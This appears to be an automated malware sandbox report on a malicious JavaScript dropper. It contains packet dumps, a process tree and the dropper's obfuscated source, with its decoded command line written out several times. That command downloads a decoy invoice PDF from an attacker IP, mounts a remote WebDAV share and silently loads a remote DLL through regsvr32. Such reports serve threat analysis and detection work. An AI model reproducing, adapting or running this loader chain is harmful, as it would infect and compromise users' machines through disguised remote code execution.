Jan 11, 2025 04:48:18.625027895 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:48:18.625036001 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:48:18.625051022 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 04:48:18.625058889 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 04:48:18.625066996 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 04:48:18.625076056 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 04:48:18.625086069 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 04:48:18.625099897 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 04:48:18.625118017 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 04:48:18.629997969 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	8016	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:48:20.702728033 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:48:21.493808031 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:48:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:48:09
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js"
Imagebase:	0x7ff60ab10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:48:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Imagebase:	0x7ff745f00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:48:10
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:48:10
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:48:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	22:48:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff745f00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:48:19
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff71b700000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:48:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:48:20
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:48:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,2079297078306945465,16777750773246910103,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jxina() {	jxina() ➔ undefined
1	quyng = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kgejm = this[wdruhyw + pfgigpr + nsceajns + hymxasmt + fbgxxd + zezwo + bcovcedi + azgnmoeg] ( this[rpddjgj + tetlkmb + aouwsgof + nsceajns + tuohz + wdruhyw + azgnmoeg][xhbfgfa + nsceajns + fbgxxd + pfgigpr + azgnmoeg + fbgxxd + gzsefld + aoybuchh + bpmpta + fbgxxd + aouwsgof + azgnmoeg] ( rpddjgj + tetlkmb + aouwsgof + nsceajns + tuohz + wdruhyw + azgnmoeg + axwvnjes + tetlkmb + tqxgbkh + fbgxxd + ajskb + ajskb ) [wlhhlx + fbgxxd + fjkif + wlhhlx + fbgxxd + pfgigpr + lybon] ( pghsu + mhusbjww + fvfah + tausoyc + opvtc + xhbfgfa + lfkxoyzq + wlhhlx + wlhhlx + fvfah + phyusj + munoqr + opvtc + lfkxoyzq + tetlkmb + fvfah + wlhhlx + sgzdobb + xhbfgfa + zcrmpa + bcovcedi + azgnmoeg + nsceajns + zcrmpa + ajskb + amrriqfzs + ocsfht + pfgigpr + bcovcedi + fbgxxd + ajskb + sgzdobb + zezwo + bcovcedi + azgnmoeg + fbgxxd + nsceajns + bcovcedi + pfgigpr + azgnmoeg + tuohz + zcrmpa + bcovcedi + pfgigpr + ajskb + sgzdobb + kkgzufn + zcrmpa + aouwsgof + pfgigpr + ajskb + fbgxxd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( raxulex = 0 ; raxulex < quyng[ajskb + fbgxxd + bcovcedi + fjkif + azgnmoeg + tqxgbkh] ; ++ raxulex )
4	{
5	if ( kgejm == quyng[raxulex] )
6	{
7	kgejm = true;
8	break ;
9	}
10	}
11	if ( kgejm !== true )
12	this[rpddjgj + tetlkmb + aouwsgof + nsceajns + tuohz + wdruhyw + azgnmoeg][snxznh + zuhxew + tuohz + azgnmoeg] ( );
13	this[rpddjgj + tetlkmb + aouwsgof + nsceajns + tuohz + wdruhyw + azgnmoeg][xhbfgfa + nsceajns + fbgxxd + pfgigpr + azgnmoeg + fbgxxd + gzsefld + aoybuchh + bpmpta + fbgxxd + aouwsgof + azgnmoeg] ( rpddjgj + tetlkmb + aouwsgof + nsceajns + tuohz + wdruhyw + azgnmoeg + axwvnjes + tetlkmb + tqxgbkh + fbgxxd + ajskb + ajskb ) [nsceajns + zuhxew + bcovcedi] ( aouwsgof + obzfxtf + lybon + amrriqfzs + qvldid + aouwsgof + amrriqfzs + wdruhyw + zcrmpa + eobtgmi + fbgxxd + nsceajns + hymxasmt + tqxgbkh + fbgxxd + ajskb + ajskb + axwvnjes + fbgxxd + oqbbmg + fbgxxd + amrriqfzs + arguhqdvn + xhbfgfa + zcrmpa + obzfxtf + obzfxtf + pfgigpr + bcovcedi + lybon + amrriqfzs + yuyizpj + zezwo + bcovcedi + lpmup + zcrmpa + ghzmzqhw + fbgxxd + arguhqdvn + rpddjgj + fbgxxd + aoybuchh + wlhhlx + fbgxxd + balscttd + zuhxew + fbgxxd + hymxasmt + azgnmoeg + amrriqfzs + arguhqdvn + gzsefld + zuhxew + azgnmoeg + jsxwi + tuohz + ajskb + fbgxxd + amrriqfzs + nrujvgg + azgnmoeg + fbgxxd + obzfxtf + wdruhyw + nrujvgg + sgzdobb + tuohz + bcovcedi + lpmup + zcrmpa + tuohz + aouwsgof + fbgxxd + axwvnjes + wdruhyw + lybon + qwzhrg + amrriqfzs + tqxgbkh + azgnmoeg + azgnmoeg + wdruhyw + omvngsu + qvldid + qvldid + zlkaqxsed + owktsxo + ybdcnl + axwvnjes + zlkaqxsed + jgkrbgq + ybdcnl + axwvnjes + zlkaqxsed + axwvnjes + tpgprxd + jpdkx + yiqynotx + qvldid + tuohz + bcovcedi + lpmup + zcrmpa + tuohz + aouwsgof + fbgxxd + axwvnjes + wdruhyw + tqxgbkh + wdruhyw + yuyizpj + ljbrlx + ljbrlx + hymxasmt + azgnmoeg + pfgigpr + nsceajns + azgnmoeg + amrriqfzs + nrujvgg + azgnmoeg + fbgxxd + obzfxtf + wdruhyw + nrujvgg + sgzdobb + tuohz + bcovcedi + lpmup + zcrmpa + tuohz + aouwsgof + fbgxxd + axwvnjes + wdruhyw + lybon + qwzhrg + ljbrlx + ljbrlx + aouwsgof + obzfxtf + lybon + amrriqfzs + qvldid + aouwsgof + amrriqfzs + bcovcedi + fbgxxd + azgnmoeg + amrriqfzs + zuhxew + hymxasmt + fbgxxd + amrriqfzs + sgzdobb + sgzdobb + zlkaqxsed + owktsxo + ybdcnl + axwvnjes + zlkaqxsed + jgkrbgq + ybdcnl + axwvnjes + zlkaqxsed + axwvnjes + tpgprxd + jpdkx + yiqynotx + hbyom + jkvbpk + jkvbpk + jkvbpk + jkvbpk + sgzdobb + lybon + pfgigpr + lpmup + eobtgmi + eobtgmi + eobtgmi + nsceajns + zcrmpa + zcrmpa + azgnmoeg + sgzdobb + ljbrlx + ljbrlx + aouwsgof + obzfxtf + lybon + amrriqfzs + qvldid + aouwsgof + amrriqfzs + nsceajns + fbgxxd + fjkif + hymxasmt + lpmup + nsceajns + ybdcnl + tpgprxd + amrriqfzs + qvldid + hymxasmt + amrriqfzs + sgzdobb + sgzdobb + zlkaqxsed + owktsxo + ybdcnl + axwvnjes + zlkaqxsed + jgkrbgq + ybdcnl + axwvnjes + zlkaqxsed + axwvnjes + tpgprxd + jpdkx + yiqynotx + hbyom + jkvbpk + jkvbpk + jkvbpk + jkvbpk + sgzdobb + lybon + pfgigpr + lpmup + eobtgmi + eobtgmi + eobtgmi + nsceajns + zcrmpa + zcrmpa + azgnmoeg + sgzdobb + ybdcnl + zlkaqxsed + jgkrbgq + zlkaqxsed + lihlcskyd + tcntp + lihlcskyd + owktsxo + tpgprxd + owktsxo + jpdkx + owktsxo + tpgprxd + axwvnjes + lybon + ajskb + ajskb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll",0,false) ➔ 0
14	}
15	jgkrbgq = "W";
16	jgkrbgq = "G";
17	jgkrbgq = "T";
18	jgkrbgq = "r";
19	jgkrbgq = "J";
20	jgkrbgq = "e";
21	jgkrbgq = "K";
22	jgkrbgq = "T";
23	jgkrbgq = "4";
24	phyusj = "Y";
25	phyusj = "g";
26	phyusj = "B";
27	phyusj = "m";
28	phyusj = "K";
29	phyusj = "g";
30	phyusj = "k";
31	phyusj = "S";
32	phyusj = "V";
33	phyusj = "J";
34	phyusj = "j";
35	phyusj = "J";
36	phyusj = "N";
37	aoybuchh = "S";
38	aoybuchh = "L";
39	aoybuchh = "Z";
40	aoybuchh = "E";
41	aoybuchh = "F";
42	aoybuchh = "b";
43	aoybuchh = "t";
44	aoybuchh = "N";
45	aoybuchh = "S";
46	aoybuchh = "g";
47	aoybuchh = "y";
48	aoybuchh = "H";
49	aoybuchh = "P";
50	aoybuchh = "l";
51	aoybuchh = "Q";
52	aoybuchh = "E";
53	aoybuchh = "h";
54	aoybuchh = "M";
55	aoybuchh = "p";
56	aoybuchh = "E";
57	aoybuchh = "z";
58	aoybuchh = "V";
59	aoybuchh = "z";
60	aoybuchh = "a";
61	aoybuchh = "a";
62	aoybuchh = "U";
63	aoybuchh = "K";
64	aoybuchh = "q";
65	aoybuchh = "b";
66	aoybuchh = "t";
67	aoybuchh = "A";
68	aoybuchh = "K";
69	aoybuchh = "S";
70	aoybuchh = "c";
71	aoybuchh = "z";
72	aoybuchh = "i";
73	aoybuchh = "v";
74	aoybuchh = "l";
75	aoybuchh = "y";
76	aoybuchh = "V";
77	aoybuchh = "h";
78	aoybuchh = "w";
79	aoybuchh = "z";
80	aoybuchh = "b";
81	hbyom = "H";
82	hbyom = "L";
83	hbyom = "d";
84	hbyom = "L";
85	hbyom = "q";
86	hbyom = "Y";
87	hbyom = "d";
88	hbyom = "p";
89	hbyom = "G";
90	hbyom = "B";
91	hbyom = "X";
92	hbyom = "g";
93	hbyom = "q";
94	hbyom = "h";
95	hbyom = "c";
96	hbyom = "N";
97	hbyom = "N";
98	hbyom = "c";
99	hbyom = "v";
100	hbyom = "Z";
101	hbyom = "j";
102	hbyom = "w";
103	hbyom = "a";
104	hbyom = "C";
105	hbyom = "D";
106	hbyom = "K";
107	hbyom = "c";
108	hbyom = "Q";
109	hbyom = "s";
110	hbyom = "R";
111	hbyom = "x";
112	hbyom = "g";
113	hbyom = "o";
114	hbyom = "I";
115	hbyom = "e";
116	hbyom = "Z";
117	hbyom = "V";
118	hbyom = "D";
119	hbyom = "M";
120	hbyom = "@";
121	azgnmoeg = "f";
122	azgnmoeg = "C";
123	azgnmoeg = "l";
124	azgnmoeg = "X";
125	azgnmoeg = "U";
126	azgnmoeg = "a";
127	azgnmoeg = "y";
128	azgnmoeg = "S";
129	azgnmoeg = "q";
130	azgnmoeg = "k";
131	azgnmoeg = "g";
132	azgnmoeg = "X";
133	azgnmoeg = "J";
134	azgnmoeg = "C";
135	azgnmoeg = "s";
136	azgnmoeg = "P";
137	azgnmoeg = "D";
138	azgnmoeg = "Z";
139	azgnmoeg = "A";
140	azgnmoeg = "I";
141	azgnmoeg = "F";
142	azgnmoeg = "L";
143	azgnmoeg = "e";
144	azgnmoeg = "Z";
145	azgnmoeg = "r";
146	azgnmoeg = "T";
147	azgnmoeg = "c";
148	azgnmoeg = "X";
149	azgnmoeg = "V";
150	azgnmoeg = "u";
151	azgnmoeg = "G";
152	azgnmoeg = "r";
153	azgnmoeg = "d";
154	azgnmoeg = "t";
155	lihlcskyd = "B";
156	lihlcskyd = "Z";
157	lihlcskyd = "G";
158	lihlcskyd = "h";
159	lihlcskyd = "d";
160	lihlcskyd = "v";
161	lihlcskyd = "r";
162	lihlcskyd = "f";
163	lihlcskyd = "k";
164	lihlcskyd = "I";
165	lihlcskyd = "x";
166	lihlcskyd = "G";
167	lihlcskyd = "d";
168	lihlcskyd = "I";
169	lihlcskyd = "i";
170	lihlcskyd = "i";
171	lihlcskyd = "F";
172	lihlcskyd = "y";
173	lihlcskyd = "y";
174	lihlcskyd = "c";
175	lihlcskyd = "Q";
176	lihlcskyd = "K";
177	lihlcskyd = "w";
178	lihlcskyd = "p";
179	lihlcskyd = "W";
180	lihlcskyd = "x";
181	lihlcskyd = "X";
182	lihlcskyd = "n";
183	lihlcskyd = "w";
184	lihlcskyd = "J";
185	lihlcskyd = "M";
186	lihlcskyd = "V";
187	lihlcskyd = "t";
188	lihlcskyd = "S";
189	lihlcskyd = "k";
190	lihlcskyd = "p";
191	lihlcskyd = "C";
192	lihlcskyd = "i";
193	lihlcskyd = "r";
194	lihlcskyd = "J";
195	lihlcskyd = "7";
196	amrriqfzs = "X";
197	amrriqfzs = "Q";
198	amrriqfzs = "E";
199	amrriqfzs = "z";
200	amrriqfzs = "D";
201	amrriqfzs = "B";
202	amrriqfzs = "D";
203	amrriqfzs = "T";
204	amrriqfzs = "f";
205	amrriqfzs = "f";
206	amrriqfzs = "p";
207	amrriqfzs = "f";
208	amrriqfzs = "E";
209	amrriqfzs = "i";
210	amrriqfzs = "o";
211	amrriqfzs = "F";
212	amrriqfzs = "I";
213	amrriqfzs = "H";
214	amrriqfzs = "v";
215	amrriqfzs = "P";
216	amrriqfzs = "M";
217	amrriqfzs = "W";
218	amrriqfzs = "O";
219	amrriqfzs = "o";
220	amrriqfzs = "B";
221	amrriqfzs = "F";
222	amrriqfzs = "j";
223	amrriqfzs = "e";
224	amrriqfzs = "m";
225	amrriqfzs = "b";
226	amrriqfzs = "T";
227	amrriqfzs = "H";
228	amrriqfzs = "P";
229	amrriqfzs = "y";
230	amrriqfzs = "i";
231	amrriqfzs = "E";
232	amrriqfzs = "j";
233	amrriqfzs = "I";
234	amrriqfzs = " ";
235	obzfxtf = "U";
236	obzfxtf = "p";
237	obzfxtf = "J";
238	obzfxtf = "b";
239	obzfxtf = "d";
240	obzfxtf = "y";
241	obzfxtf = "H";
242	obzfxtf = "f";
243	obzfxtf = "N";
244	obzfxtf = "Y";
245	obzfxtf = "p";
246	obzfxtf = "A";
247	obzfxtf = "I";
248	obzfxtf = "m";
249	nsceajns = "W";
250	nsceajns = "L";
251	nsceajns = "Q";
252	nsceajns = "b";
253	nsceajns = "v";
254	nsceajns = "w";
255	nsceajns = "c";
256	nsceajns = "Q";
257	nsceajns = "k";
258	nsceajns = "c";
259	nsceajns = "o";
260	nsceajns = "c";
261	nsceajns = "q";
262	nsceajns = "l";
263	nsceajns = "S";
264	nsceajns = "P";
265	nsceajns = "h";
266	nsceajns = "e";
267	nsceajns = "T";
268	nsceajns = "i";
269	nsceajns = "O";
270	nsceajns = "r";
271	nsceajns = "T";
272	nsceajns = "C";
273	nsceajns = "C";
274	nsceajns = "s";
275	nsceajns = "R";
276	nsceajns = "V";
277	nsceajns = "A";
278	nsceajns = "V";
279	nsceajns = "l";
280	nsceajns = "c";
281	nsceajns = "U";
282	nsceajns = "h";
283	nsceajns = "T";
284	nsceajns = "R";
285	nsceajns = "V";
286	nsceajns = "U";
287	nsceajns = "T";
288	nsceajns = "P";
289	nsceajns = "A";
290	nsceajns = "Y";
291	nsceajns = "T";
292	nsceajns = "E";
293	nsceajns = "r";
294	xhbfgfa = "c";
295	xhbfgfa = "p";
296	xhbfgfa = "F";
297	xhbfgfa = "t";
298	xhbfgfa = "d";
299	xhbfgfa = "G";
300	xhbfgfa = "T";
301	xhbfgfa = "v";
302	xhbfgfa = "m";
303	xhbfgfa = "G";
304	xhbfgfa = "i";
305	xhbfgfa = "V";
306	xhbfgfa = "x";
307	xhbfgfa = "X";
308	xhbfgfa = "J";
309	xhbfgfa = "u";
310	xhbfgfa = "Q";
311	xhbfgfa = "x";
312	xhbfgfa = "K";
313	xhbfgfa = "N";
314	xhbfgfa = "C";
315	aouwsgof = "v";
316	aouwsgof = "h";
317	aouwsgof = "X";
318	aouwsgof = "B";
319	aouwsgof = "c";
320	aouwsgof = "l";
321	aouwsgof = "s";
322	aouwsgof = "N";
323	aouwsgof = "O";
324	aouwsgof = "g";
325	aouwsgof = "H";
326	aouwsgof = "r";
327	aouwsgof = "L";
328	aouwsgof = "Q";
329	aouwsgof = "K";
330	aouwsgof = "o";
331	aouwsgof = "X";
332	aouwsgof = "s";
333	aouwsgof = "z";
334	aouwsgof = "A";
335	aouwsgof = "Z";
336	aouwsgof = "D";
337	aouwsgof = "C";
338	aouwsgof = "j";
339	aouwsgof = "Q";
340	aouwsgof = "Q";
341	aouwsgof = "s";
342	aouwsgof = "U";
343	aouwsgof = "j";
344	aouwsgof = "L";
345	aouwsgof = "i";
346	aouwsgof = "c";
347	aouwsgof = "z";
348	aouwsgof = "K";
349	aouwsgof = "w";
350	aouwsgof = "c";
351	bpmpta = "y";
352	bpmpta = "D";
353	bpmpta = "H";
354	bpmpta = "e";
355	bpmpta = "L";
356	bpmpta = "W";
357	bpmpta = "u";
358	bpmpta = "i";
359	bpmpta = "x";
360	bpmpta = "G";
361	bpmpta = "J";
362	bpmpta = "V";
363	bpmpta = "C";
364	bpmpta = "Q";
365	bpmpta = "w";
366	bpmpta = "h";
367	bpmpta = "Q";
368	bpmpta = "V";
369	bpmpta = "T";
370	bpmpta = "k";
371	bpmpta = "e";
372	bpmpta = "I";
373	bpmpta = "h";
374	bpmpta = "k";
375	bpmpta = "y";
376	bpmpta = "t";
377	bpmpta = "B";
378	bpmpta = "C";
379	bpmpta = "j";
380	rpddjgj = "h";
381	rpddjgj = "h";
382	rpddjgj = "O";
383	rpddjgj = "K";
384	rpddjgj = "q";
385	rpddjgj = "M";
386	rpddjgj = "C";
387	rpddjgj = "Q";
388	rpddjgj = "G";
389	rpddjgj = "R";
390	rpddjgj = "P";
391	rpddjgj = "v";
392	rpddjgj = "Y";
393	rpddjgj = "F";
394	rpddjgj = "x";
395	rpddjgj = "z";
396	rpddjgj = "T";
397	rpddjgj = "h";
398	rpddjgj = "P";
399	rpddjgj = "w";
400	rpddjgj = "D";
401	rpddjgj = "c";
402	rpddjgj = "E";
403	rpddjgj = "W";
404	opvtc = "O";
405	opvtc = "I";
406	opvtc = "S";
407	opvtc = "X";
408	opvtc = "y";
409	opvtc = "j";
410	opvtc = "j";
411	opvtc = "n";
412	opvtc = "G";
413	opvtc = "Y";
414	opvtc = "C";
415	opvtc = "e";
416	opvtc = "Q";
417	opvtc = "N";
